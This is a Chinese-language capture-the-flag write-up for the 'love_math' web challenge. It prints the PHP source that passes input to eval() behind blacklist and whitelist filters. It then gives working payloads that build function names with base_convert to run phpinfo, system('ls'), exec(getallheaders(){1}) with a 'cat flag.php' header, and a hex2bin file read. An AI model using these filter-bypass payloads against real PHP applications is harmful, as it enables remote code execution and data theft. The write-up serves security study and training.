攻防世界-web-love_math(base_convert進位制轉換繞過白名單和長度限制)
題目來源:CISCN
題目描述:解密
進入介面
<?php error_reporting(0); //聽說你很喜歡數學,不知道你是否愛它勝過愛flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太長了不會算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("請不要輸入奇奇怪怪的字元"); } } //常用數學函式http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("請不要輸入奇奇怪怪的函式"); } } //幫你算出答案 eval('echo '.$content.';'); }
簡單的程式碼審計
- 首先使用者輸入的引數值長度不能大於等於80。
- 然後使用者輸入不能包含黑名單裡的字元,比如空格、製表符、回車換行、單雙引號、反引號、[]。
- 接著使用者輸入的字串需要匹配白名單。
- 最後通過eval函式可以執行使用者輸入。
測試一下白名單規則,經過試驗
- abs(1),匹配出abs,在白名單中,能過
- 1abs(),匹配出abs,在白名單中,能過
- absa(),匹配出absa,不在白名單中,不能過
- abs(a),匹配出abs和a,a不在白名單中,不能過
- abs()a,匹配出abs和a,a不在白名單中,不能過
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
表示匹配$content變數中以字母或下劃線開頭,後面任意數量的字母、陣列、下劃線組成的字串,將所有的可能結果放在$used_funcs陣列中。
其中,
- \x7f-\xff 代表一個ASCII碼字元,範圍是0x7f(10進位制 127)到0xff(10進位制 255),這在ascii碼錶裡都是不可見字元。
- * 匹配前面的子表示式零次或多次。
最先我想的是用拼接裁剪的方式把payload組合出來,我極限組合用77字元能把phpinfo給組合出來
$pi=hypot.min.fmod;$pi=$pi{2}.$pi{0}.$pi{2}.$pi{6}.$pi{7}.$pi{8}.$pi{3};$pi()
思路:這段payload可以分為三部分,
- 首先定義一個變數名$pi,因為pi在白名單中且長度最短,其值為hypot.min.fmod,因為hypot、min、fmod均在白名單中,而且phpinfo中的所有字元均可以在其中找到;
- 然後從hypot.min.fmod中分別取第2、0、2、6、7、8、3位置字元,拼成phpinfo字串,並重新賦值給$pi變數;
- 最後執行$pi(),即執行phpinfo()函式。
但是根據這個思路getflag,怎麼也會超長度。
然後考慮是不是touch個檔案,進行把命令拆分寫入檔案,再執行檔案,但是也難繞過白名單。
最後看了writeup發現在眾多函式中有個base_convert()函式,這個才是解題的關鍵。
先看看函式的用法https://www.runoob.com/php/func-math-base-convert.html
base_convert(number,frombase,tobase); 函式在任意進位制之間轉換數字。
在看這道題writeup之前,我的認知還停留在16進位制會帶個abcdef,殊不知還可以到36進位制,可以帶所有小寫字母。
36進位制,是資料的一種表示方法。同我們日常生活中的表示法不一樣。它由0-9,A-Z組成,字母不區分大小寫。與10進位制的對應關係是:0-9對應0-9;A-F對應10-35。
進位制說明:36進位制是 0-Z (0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ)。
有了這個函式就能大大減短payload了。
首先,實現phpinfo()試試
?c=base_convert(55490343972,10,36)()
然後,實現system('ls'),檢視當前目錄下的檔案
?c=base_convert(1751504350,10,36)(base_convert(784,10,36))
發現了flag.php。
接下來,我們就要嘗試讀取flag.php。
如果直接使用讀取檔案函式file_get_contents中包含下劃線不在我們36進制中,並且base_convert()第一個引數太長會溢位,也就是10進位制數沒法無限大。
方法一藉助getallheader()來控制請求頭,通過請求頭的欄位讀取flag.php。
這裡也就類似於$_GET,$_POST之類的,但是因為只能控制小寫字元,所以大寫的直接被pass掉。
getallheader()返回的是陣列,要從數組裡面取資料用array['xxx'],但是無奈[]被waf了,因為{}中是可以帶數字的,這裡用getallheader(){1}可以返回自定義頭1裡面的內容。
最後的payload如下
/?c=$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1}) //exec(getallheaders(){1})
並且在請求頭上加上1:cat flag.php欄位即可。
payload中,
base_convert(696468,10,36); 代表把696468從10進位制轉換為36進位制,結果為exec。
base_convert(8768397090111664438,10,30); 代表把8768397090111664438從10進位制轉換為30進位制,結果為getallheaders。注意這裡不能用36進位制,因為getallheaders的36進位制轉換為10進位制後數太長會溢位,也就是無法把10進位制數變回getallheader。所以我們在這裡採用30進位制。(當然這是在linux下使用php7.3版本的結果,如果是在windows下php7.0前的所有版本對於getallheader進行30-36的進位制轉換,再轉換回來的時候都存在溢位,也就是無法把10進位制數變回getallheader)
最終得到falg。如下
這裡解釋一下為什麼會輸出一個base_convert字串,因為php中echo xx,yy,即輸出xx和yy的結果,xx和yy中間用逗號隔開,echo都能輸出。所以這裡會把我們payload中的第一項輸出出來。
方法二 使用system(hex2bin(nl*))讀取所有檔案內容
payload如下
?c=($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))
得到flag為flag{dgjregjvdsmvba356sg},但是不知道為什麼提示錯誤。
參考:
https://www.cnblogs.com/sijidou/p/10802475.html
https://blog.csdn.net/weixin_44604541/article/details/108914188